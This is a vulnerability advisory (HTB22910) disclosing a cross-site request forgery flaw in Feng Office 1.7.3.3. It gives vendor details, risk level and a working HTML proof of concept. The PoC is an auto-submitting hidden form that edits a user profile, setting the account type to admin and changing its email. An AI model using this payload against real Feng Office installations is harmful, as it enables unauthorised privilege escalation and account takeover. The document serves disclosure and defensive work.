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HTB22910: XSRF (CSRF) in Feng Office



Vulnerability ID: HTB22910
Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_feng_office.html
Product: Feng Office
Vendor: Secure Data SRL ( http://www.fengoffice.com/ ) 
Vulnerable Version: 1.7.3.3 and probably prior versions
Vendor Notification: 17 March 2011 
Vulnerability Type: CSRF (Cross-Site Request Forgery)
Risk level: Low 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
The vulnerability exists due to failure in the users editing script to properly verify the source of HTTP request.

Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

Attacker can use browser to exploit this vulnerability. The following PoC is available:


<form action="http://host/index.php?active_project=0&ajax=true&c=account&a=edit_profile&id=USERID&current=administration"; method="post" name="main">
<input type="hidden" name="user[display_name]" value="test">
<input type="hidden" name="user[username]" value="test">
<input type="hidden" name="user[company_id]" value="1">
<input type="hidden" name="user[personal_project_id]" value="2">
<input type="hidden" name="user[type]" value="admin">
<input type="hidden" name="user[auto_assign]" value="0">
<input type="hidden" name="user[autodetect_time_zone]" value="1">
<input type="hidden" name="user[timezone]" value="0">
<input type="hidden" name="user[email]" value="email@xxxxxxxxxxx">
<input type="hidden" name="user[title]" value="">
</form>
<script>
document.main.submit();
</script>